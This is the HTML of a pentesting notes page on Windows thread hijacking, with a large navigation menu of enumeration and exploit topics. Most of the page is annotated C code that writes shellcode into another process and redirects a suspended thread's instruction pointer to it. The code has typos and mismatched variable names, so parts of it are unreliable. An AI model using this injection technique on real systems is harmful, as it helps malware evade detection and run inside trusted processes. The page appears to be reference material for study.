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< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
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< div class = "column column-3" >
< ul >
< li > < a href = "#thread-hijacking" > Thread Hijacking< / a > < / li >
< / ul >
< / div >
< h1 id = "thread-hijacking" > Thread Hijacking< / h1 >
< ul >
< li > Open process, allocate and write memory< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > HANDLE< / span > < span class = "w" > < / span > < span class = "n" > hProcess< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "n" > OpenProcess< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > PROCESS_ALL_ACCESS< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Requests all possible access rights< / span >
< span class = "w" > < / span > < span class = "n" > FALSE< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Child processes do not inheret parent process handle< / span >
< span class = "w" > < / span > < span class = "n" > processId< / span > < span class = "w" > < / span > < span class = "c1" > // Stored process ID< / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< span class = "n" > PVOIF< / span > < span class = "w" > < / span > < span class = "n" > remoteBuffer< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "n" > VirtualAllocEx< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > hProcess< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Opened target process< / span >
< span class = "w" > < / span > < span class = "nb" > NULL< / span > < span class = "p" > ,< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "k" > sizeof< / span > < span class = "w" > < / span > < span class = "n" > shellcode< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Region size of memory allocation< / span >
< span class = "w" > < / span > < span class = "p" > (< / span > < span class = "n" > MEM_RESERVE< / span > < span class = "w" > < / span > < span class = "o" > |< / span > < span class = "w" > < / span > < span class = "n" > MEM_COMMIT< / span > < span class = "p" > ),< / span > < span class = "w" > < / span > < span class = "c1" > // Reserves and commits pages< / span >
< span class = "w" > < / span > < span class = "n" > PAGE_EXECUTE_READWRITE< / span > < span class = "w" > < / span > < span class = "c1" > // Enables execution and read/write access to the commited pages< / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< span class = "n" > WriteProcessMemory< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > processHandle< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Opened target process< / span >
< span class = "w" > < / span > < span class = "n" > remoteBuffer< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Allocated memory region< / span >
< span class = "w" > < / span > < span class = "n" > shellcode< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Data to write< / span >
< span class = "w" > < / span > < span class = "k" > sizeof< / span > < span class = "w" > < / span > < span class = "n" > shellcode< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // byte size of data< / span >
< span class = "w" > < / span > < span class = "nb" > NULL< / span > < span class = "w" > < / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > Snapshot the process and get the first thread< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > THREADENTRY32< / span > < span class = "w" > < / span > < span class = "n" > threadEntry< / span > < span class = "p" > ;< / span > < span class = "w" > < / span >
< span class = "n" > HANDLE< / span > < span class = "w" > < / span > < span class = "n" > hSnapshot< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "n" > CreateToolhelp32Snapshot< / span > < span class = "p" > (< / span > < span class = "w" > < / span > < span class = "c1" > // Snapshot the specificed process< / span >
< span class = "w" > < / span > < span class = "n" > TH32CS_SNAPTHREAD< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Include all processes residing on the system< / span >
< span class = "w" > < / span > < span class = "mi" > 0< / span > < span class = "w" > < / span > < span class = "c1" > // Indicates the current process< / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< span class = "n" > Thread32First< / span > < span class = "p" > (< / span > < span class = "w" > < / span > < span class = "c1" > // Obtains the first thread in the snapshot< / span >
< span class = "w" > < / span > < span class = "n" > hSnapshot< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Handle of the snapshot< / span >
< span class = "w" > < / span > < span class = "o" > & < / span > < span class = "n" > threadEntry< / span > < span class = "w" > < / span > < span class = "c1" > // Pointer to the THREADENTRY32 structure< / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< span class = "k" > while< / span > < span class = "w" > < / span > < span class = "p" > (< / span > < span class = "n" > Thread32Next< / span > < span class = "p" > (< / span > < span class = "w" > < / span > < span class = "c1" > // Obtains the next thread in the snapshot< / span >
< span class = "w" > < / span > < span class = "n" > snapshot< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Handle of the snapshot< / span >
< span class = "w" > < / span > < span class = "o" > & < / span > < span class = "n" > threadEntry< / span > < span class = "w" > < / span > < span class = "c1" > // Pointer to the THREADENTRY32 structure< / span >
< span class = "p" > ))< / span > < span class = "w" > < / span > < span class = "p" > {< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > Get Pointer to the thread< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "k" > if< / span > < span class = "w" > < / span > < span class = "p" > (< / span > < span class = "n" > threadEntry< / span > < span class = "p" > .< / span > < span class = "n" > th32OwnerProcessID< / span > < span class = "w" > < / span > < span class = "o" > ==< / span > < span class = "w" > < / span > < span class = "n" > processID< / span > < span class = "p" > )< / span > < span class = "w" > < / span > < span class = "c1" > // Verifies both parent process ID' s match< / span >
< span class = "w" > < / span > < span class = "p" > {< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > HANDLE< / span > < span class = "w" > < / span > < span class = "n" > hThread< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "n" > OpenThread< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > THREAD_ALL_ACCESS< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Requests all possible access rights< / span >
< span class = "w" > < / span > < span class = "n" > FALSE< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Child threads do not inheret parent thread handle< / span >
< span class = "w" > < / span > < span class = "n" > threadEntry< / span > < span class = "p" > .< / span > < span class = "n" > th32ThreadID< / span > < span class = "w" > < / span > < span class = "c1" > // Reads the thread ID from the THREADENTRY32 structure pointer< / span >
< span class = "w" > < / span > < span class = "p" > );< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "k" > break< / span > < span class = "p" > ;< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "p" > }< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > Suspend threat ,get context and change < code > $rip< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nv" > SuspendThread< / span > < span class = "ss" > (< / span > < span class = "nv" > hThread< / span > < span class = "ss" > )< / span > < span class = "c1" > ;< / span >
< span class = "nv" > CONTEXT< / span > < span class = "nv" > context< / span > < span class = "c1" > ;< / span >
< span class = "nv" > GetThreadContext< / span > < span class = "ss" > (< / span >
< span class = "nv" > hThread< / span > , < span class = "o" > //< / span > < span class = "nv" > Handle< / span > < span class = "k" > for< / span > < span class = "nv" > the< / span > < span class = "nv" > thread< / span >
< span class = "o" > & < / span > < span class = "nv" > context< / span > < span class = "o" > //< / span > < span class = "nv" > Pointer< / span > < span class = "nv" > to< / span > < span class = "nv" > store< / span > < span class = "nv" > the< / span > < span class = "nv" > context< / span > < span class = "nv" > structure< / span >
< span class = "ss" > )< / span > < span class = "c1" > ;< / span >
< span class = "nv" > context< / span > .< span class = "nv" > Rip< / span > < span class = "o" > =< / span > < span class = "ss" > (< / span > < span class = "nv" > DWORD_PTR< / span > < span class = "ss" > )< / span > < span class = "nv" > remoteBuffer< / span > < span class = "c1" > ; // Points RIP to our malicious buffer allocation< / span >
< / code > < / pre > < / div >
< ul >
< li > Set context and resume the thread< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > SetThreadContext< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > hThread< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "c1" > // Handle for the thread < / span >
< span class = "w" > < / span > < span class = "o" > & < / span > < span class = "n" > context< / span > < span class = "w" > < / span > < span class = "c1" > // Pointer to the context structure< / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< span class = "n" > ResumeThread< / span > < span class = "p" > (< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "n" > hThread< / span > < span class = "w" > < / span > < span class = "c1" > // Handle for the thread< / span >
< span class = "p" > );< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
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function linkClick(obj) {
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if (obj.open) {
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//console.log('open');
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if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
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sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
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} else {
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//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
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let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
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< / script >
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< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
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< script type = "text/x-mathjax-config" >
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MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
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< / body >
< / html >
